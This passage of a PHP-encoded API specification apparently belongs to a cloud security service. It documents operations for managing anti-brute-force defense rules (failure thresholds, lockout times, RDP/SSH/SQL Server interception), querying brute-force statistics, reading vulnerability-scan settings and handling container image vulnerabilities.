."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers to which you want to apply the defense rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server to which you want to apply the defense rule.'."\n", 'type' => 'string', 'required' => false, 'example' => '292dcc68-b60b-4bbd-a0be-beaa1622****', ], 'required' => true, 'maxItems' => 10000, ], ], [ 'name' => 'ProtocolType', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The types of protocols supported for interception by the brute force attack rule creation.', 'type' => 'object', 'properties' => [ 'Rdp' => [ 'description' => 'Whether to enable RDP interception, default is on. Values: '."\n" .'- **on**: Enable '."\n" .'- **off**: Disable', 'type' => 'string', 'required' => false, 'example' => 'on', ], 'Ssh' => [ 'description' => 'Whether to enable SSH interception, default is on. Values: '."\n" .'- **on**: Enable '."\n" .'- **off**: Disable', 'type' => 'string', 'required' => false, 'example' => 'on', ], 'SqlServer' => [ 'description' => 'Whether to enable the SqlServer interception method, default is off. Values: '."\n" .'- **on**: Enable '."\n" .'- **off**: Disable', 'type' => 'string', 'required' => false, 'example' => 'off', ], ], 'required' => false, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', ], 'CreateAntiBruteForceRule' => [ 'description' => 'The information about the defense rule.'."\n", 'type' => 'object', 'properties' => [ 'RuleId' => [ 'description' => 'The ID of the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '65778', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NotBuy', 'errorMessage' => 'user not buy service', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\",\\n \\"CreateAntiBruteForceRule\\": {\\n \\"RuleId\\": 65778\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n F35F45B0-5D6B-4238-BE02-A62D0760E840\\n \\n 65778\\n \\n","errorExample":""}]', 'title' => 'CreateAntiBruteForceRule', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyAntiBruteForceRule' => [ 'summary' => 'Modifies a defense rule against brute-force attacks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '65778', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'required' => false, 'example' => 'TestRule', ], ], [ 'name' => 'Span', 'in' => 'query', 'schema' => [ 'description' => 'The period of time during which logon failures from an account are measured. Unit: minutes. Valid values:'."\n" ."\n" .'* **1**'."\n" .'* **2**'."\n" .'* **5**'."\n" .'* **10**'."\n" .'* **15**'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'FailCount', 'in' => 'query', 'schema' => [ 'description' => 'The threshold of logon failures that you specify. Valid values:'."\n" ."\n" .'* **2**'."\n" .'* **3**'."\n" .'* **4**'."\n" .'* **5**'."\n" .'* **10**'."\n" .'* **50**'."\n" .'* **80**'."\n" .'* **100**'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'ForbiddenTime', 'in' => 'query', 'schema' => [ 'description' => 'The period of time during which logons from an account are not allowed. Unit: minutes. Valid values:'."\n" ."\n" .'* **5**'."\n" .'* **15**'."\n" .'* **30**'."\n" .'* **60**'."\n" .'* **120**'."\n" .'* **360**'."\n" .'* **720**'."\n" .'* **1440**'."\n" .'* **10080**'."\n" .'* **52560000**: permanent'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], ], [ 'name' => 'DefaultRule', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to set the defense rule as the default rule. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array consisting of the UUIDs of the servers to which the defense rule is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server to which the defense rule is applied.'."\n", 'type' => 'string', 'required' => false, 'example' => 'b26c-3f4159dc****', ], 'required' => false, 'example' => 'uuid-13213-dasda', 'maxItems' => 10000, ], ], [ 'name' => 'ProtocolType', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'The protocol types supported by the anti-brute force rule for interception.', 'type' => 'object', 'properties' => [ 'Rdp' => [ 'description' => 'Whether to modify the RDP interception method, which is enabled by default. Values:'."\n" .' - **on**: Enable'."\n" .' - **off**: Disable', 'type' => 'string', 'required' => false, 'example' => 'on', ], 'Ssh' => [ 'description' => 'Whether to modify the SSH interception method, which is enabled by default. Values:'."\n" .' - **on**: Enable'."\n" .' - **off**: Disable', 'type' => 'string', 'required' => false, 'example' => 'on', ], 'SqlServer' => [ 'description' => 'Whether to modify the SQL Server interception method, which is disabled by default. Values:'."\n" .' - **on**: Enable'."\n" .' - **off**: Disable', 'type' => 'string', 'required' => false, 'example' => 'off', ], ], 'required' => false, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760E840', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NotBuy', 'errorMessage' => 'user not buy service', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\"\\n}","errorExample":""},{"type":"xml","example":"\\n F35F45B0-5D6B-4238-BE02-A62D0760E840\\n","errorExample":""}]', 'title' => 'ModifyAntiBruteForceRule', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyInstanceAntiBruteForceRule' => [ 'summary' => 'Modifies the defense rule against brute-force attacks that is applied to a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which you want to modify the defense rule. You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '7cc91747-2845-40d4-bb69-c077597f****', ], ], [ 'name' => 'NewRuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '65767', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4BE468CE-47A0-54F0-98A1-E253546E6A2C', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4BE468CE-47A0-54F0-98A1-E253546E6A2C\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 4BE468CE-47A0-54F0-98A1-E253546E6A2C\\n","errorExample":""}]', 'title' => 'ModifyInstanceAntiBruteForceRule', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeBruteForceSummary' => [ 'summary' => 'Queries the statistics of IP address blocking policies that are used to defend against brute-force attacks and trigger alerts.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.', 'type' => 'string', 'required' => false, 'example' => '203.119.XX.XX', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'AE60EAE3-ABD0-897C-B0F16CAC6C7D', ], 'BruteForceSummary' => [ 'description' => 'The statistics of IP address blocking policies.'."\n", 'type' => 'object', 'properties' => [ 'AllStrategyCount' => [ 'description' => 'The number of anti-brute force IP blocking policies.', 'type' => 'integer', 'format' => 'int32', 'example' => '13', ], 'EffectiveCount' => [ 'description' => 'The number of anti-brute force IP blocking policies enabled.', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AntiBruteForceRuleCount' => [ 'description' => 'The number of defense policies.'."\n", 'type' => 'string', 'example' => '2', ], 'CustomRecordCount' => [ 'description' => 'The number of custom blocking rules.'."\n", 'type' => 'string', 'example' => '19730', ], 'SystemRecordCount' => [ 'description' => 'The number of system blocking rules.'."\n", 'type' => 'string', 'example' => '2', ], 'CustomEffectiveCount' => [ 'description' => 'The number of custom blocking rules that are in effect.'."\n", 'type' => 'string', 'example' => '3', ], 'SystemEffectiveCount' => [ 'description' => 'The number of system blocking rules that are in effect.'."\n", 'type' => 'string', 'example' => '1', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"AE60EAE3-ABD0-897C-B0F16CAC6C7D\\",\\n \\"BruteForceSummary\\": {\\n \\"AllStrategyCount\\": 13,\\n \\"EffectiveCount\\": 2,\\n \\"AntiBruteForceRuleCount\\": \\"2\\",\\n \\"CustomRecordCount\\": \\"19730\\",\\n \\"SystemRecordCount\\": \\"2\\",\\n \\"CustomEffectiveCount\\": \\"3\\",\\n \\"SystemEffectiveCount\\": \\"1\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeBruteForceSummary', ], 'DescribeInstanceAntiBruteForceRules' => [ 'summary' => 'Queries the information about servers to which a defense rule against brute-force attacks is applied.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '115.238.XX.XX', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10000**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '97286A-4A6B-4A4-95FA-EC7E3E2451', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of servers returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'Count' => [ 'description' => 'The number of servers returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], ], ], 'Rules' => [ 'description' => 'An array consisting of the servers to which a defense rule is applied.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server to which the defense rule is applied.'."\n", 'type' => 'string', 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], 'Name' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'example' => 'TestRule', ], 'Id' => [ 'description' => 'The ID of the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '215779601', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"97286A-4A6B-4A4-95FA-EC7E3E2451\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 4,\\n \\"Count\\": 4\\n },\\n \\"Rules\\": [\\n {\\n \\"Uuid\\": \\"4fe8e1cd-3c37-4851-b9de-124da32c****\\",\\n \\"Name\\": \\"TestRule\\",\\n \\"Id\\": 215779601\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeInstanceAntiBruteForceRules', ], 'DescribeAntiBruteForceRules' => [ 'summary' => 'Queries created defense rules against brute-force attacks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '121.69.XX.XX', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the defense rule.'."\n" .'> You can call the [DescribeAntiBruteForceRules](~~DescribeAntiBruteForceRules~~) operation to query the IDs of defense rules.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1141****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.', 'type' => 'string', 'required' => false, 'example' => '10', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the rule.', 'type' => 'string', 'required' => false, 'example' => 'testName', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'Rules' => [ 'description' => 'An array that consists of the defense rules returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details about the defense rule.'."\n", 'type' => 'object', 'properties' => [ 'MachineCount' => [ 'description' => 'The number of servers to which the defense rule is applied.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'EnableSmartRule' => [ 'description' => 'This parameter is deprecated.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'FailCount' => [ 'description' => 'The threshold of logon failures that you specify.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'ForbiddenTime' => [ 'description' => 'The period of time during which logons from an account are not allowed. Unit: minutes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '360', ], 'Span' => [ 'description' => 'The period of time during which logon failures from an account are measured. Unit: minutes. If **Span** is set to 10, the defense rule takes effect when the logon failures measured within 10 minutes reaches the specified threshold. The IP address of attackers cannot be used to log on to the server in the specified period of time.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'DefaultRule' => [ 'description' => 'Indicates whether the defense rule is the default rule. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n" ."\n" .'> The default rule takes effect on all servers that are not protected by defense rules against brute-force attacks.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Name' => [ 'description' => 'The name of the defense rule.'."\n", 'type' => 'string', 'example' => 'AntiBruteForceRule01', ], 'Id' => [ 'description' => 'The ID of the defense rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1629', ], 'UuidList' => [ 'description' => 'An array consisting of the UUIDs of servers to which the defense rule is applied.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server to which the defense rule is applied.'."\n", 'type' => 'string', 'example' => 'uuid-018c-4ef7-89fd-988b9b0e****', ], ], 'CreateTimestamp' => [ 'description' => '防暴力破解规则创建时间戳。单位：毫秒。', 'type' => 'integer', 'format' => 'int64', 'example' => '1669800181000', ], 'ProtocolType' => [ 'description' => 'The types of protocols that the brute force cracking rule supports to intercept.', 'type' => 'object', 'properties' => [ 'Rdp' => [ 'description' => 'RDP interception method, values: '."\n" .'- **on**: enable '."\n" .'- **off**: disable', 'type' => 'string', 'example' => 'on', ], 'Ssh' => [ 'description' => 'SSH interception method, with values: '."\n" .'- **on**: enabled '."\n" .'- **off**: disabled', 'type' => 'string', 'example' => 'on', ], 'SqlServer' => [ 'description' => 'SqlServer interception mode, with values: '."\n" .'- **on**: enable '."\n" .'- **off**: disable', 'type' => 'string', 'example' => 'off', ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"Rules\\": [\\n {\\n \\"MachineCount\\": 3,\\n \\"EnableSmartRule\\": false,\\n \\"FailCount\\": 15,\\n \\"ForbiddenTime\\": 360,\\n \\"Span\\": 10,\\n \\"DefaultRule\\": true,\\n \\"Name\\": \\"AntiBruteForceRule01\\",\\n \\"Id\\": 1629,\\n \\"UuidList\\": [\\n \\"uuid-018c-4ef7-89fd-988b9b0e****\\"\\n ],\\n \\"CreateTimestamp\\": 1669800181000,\\n \\"ProtocolType\\": {\\n \\"Rdp\\": \\"on\\",\\n \\"Ssh\\": \\"on\\",\\n \\"SqlServer\\": \\"off\\"\\n }\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAntiBruteForceRules', ], 'DeleteAntiBruteForceRule' => [ 'summary' => 'Deletes the specified defense rules against brute-force attacks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '91943', 'abilityTreeNodes' => [ 'FEATUREsas2XWKXT', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Ids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of the defense rules against brute-force attacks to delete.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the defense rule against brute-force attacks to delete.'."\n" ."\n" .'> You can call the [DescribeAntiBruteForceRules](~~DescribeAntiBruteForceRules~~) operation to query the ID of the defense rule against brute-force attacks.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '62650', ], 'required' => true, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\"\\n}","type":"json"}]', 'title' => 'DeleteAntiBruteForceRule', ], 'ListVulGlobalConfig' => [ 'summary' => 'Queries the global configurations of vulnerability detection.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'ConfigKey', 'in' => 'query', 'schema' => [ 'description' => 'The key of the configuration item. Valid values:'."\n" ."\n" .'* **vul_scan_ip_list**: The IP addresses that are detected.'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [ 'vul_scan_ip_list' => 'vul_scan_ip_list', ], 'example' => 'vul_scan_ip_list', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'VulGlobalConfigList' => [ 'description' => 'The configurations.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ConfigKey' => [ 'description' => 'The key of the configuration item.'."\n", 'type' => 'string', 'example' => 'vul_scan_ip_list', ], 'ConfigValue' => [ 'description' => 'The value of the configuration item.'."\n", 'type' => 'string', 'example' => '127.0.*.*,127.0.*.*', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"VulGlobalConfigList\\": [\\n {\\n \\"ConfigKey\\": \\"vul_scan_ip_list\\",\\n \\"ConfigValue\\": \\"127.0.*.*,127.0.*.*\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListVulGlobalConfig', ], 'ModifyRefreshProcessInfo' => [ 'summary' => 'Refreshes the list of processes that are associated with a Linux software vulnerability.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '0f3b8f76-90e5-4455-a5aa-23ce30b5****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '814FCBBC-3A02-5555-8D05-F8D9FD62A295', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"814FCBBC-3A02-5555-8D05-F8D9FD62A295\\"\\n}","type":"json"}]', 'title' => 'ModifyRefreshProcessInfo', ], 'OperateImageVul' => [ 'summary' => 'Handles an image vulnerability, such as fixing the image vulnerability, verifying the fix of the image vulnerability, ignoring the image vulnerability, or canceling ignoring the image vulnerability.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '92415', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Info', 'in' => 'query', 'schema' => [ 'description' => 'The information about the vulnerability. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* namespace: the namespace of the image'."\n" .'* repoName: the name of the Container Registry repository'."\n" .'* regionId: the region ID'."\n" .'* instanceId: the ID of the Container Registry instance'."\n" .'* repoId: the name of the repository'."\n" .'* tag: the tad added to the image'."\n" .'* digest: the digest of the image'."\n" .'* newTag: the tag added to the image after the vulnerability is fixed'."\n" .'* uuid: the UUID of the image'."\n" .'* ids: the IDs of the vulnerability primary keys'."\n", 'type' => 'string', 'required' => false, 'example' => '[{\\"namespace\\":\\"cloud_oa****\\",\\"repoName\\":\\"hybirdc****\\",\\"regionId\\":\\"cn-shanghai\\",\\"instanceId\\":\\"cri-rv4nvbv8iju4****\\",\\"repoId\\":\\"crr-2q7302qrofxg****\\",\\"tag\\":\\"hybird-cloud-web_fix_167115945****\\",\\"digest\\":\\"e1a4fd25884ca2ef8840bb252c9926e4f549df9e046500dd93539b2d458c****\\",\\"newTag\\":\\"hybird-cloud-web_fix_167115996****\\",\\"uuid\\":\\"4ad91dd8c0c02de6574fa98085d0****\\",\\"ids\\":[197540864,197540865,197540869]}]', ], ], [ 'name' => 'OperateType', 'in' => 'query', 'schema' => [ 'description' => 'If you want to fix the vulnerability, set the value to vul_fix.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vul_fix', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Set the value to cve.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '486F2228-438A-544A-A533-433F943C15CD', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": 